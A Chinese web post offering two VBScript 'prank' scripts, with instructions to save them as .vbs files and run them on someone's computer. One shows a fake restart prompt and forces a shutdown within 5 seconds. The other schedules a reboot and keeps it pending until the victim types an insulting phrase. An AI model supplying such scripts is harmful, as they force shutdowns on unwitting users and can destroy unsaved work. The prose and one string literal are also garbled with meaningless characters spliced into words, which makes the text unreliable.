恶搞程序代码

代码如下，复制到记事本，将巧宽txt改为vbs就帆纳ok了，中间的字孝轿亮可自己改。

if

MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel

then

msgbox

"

正在清理系统垃圾wow

~_^",,"算你倒霉！！"

Set

objShell

=

CreateObject("Wscript.Shell")

objShell.Run

"shutdown

-s

-t

5",,true

end

if

加分哦

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是纳升樱猪""　","说不说","不说"洞丛,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"

这是网上流行的一种让别人笑宽关机的代码

---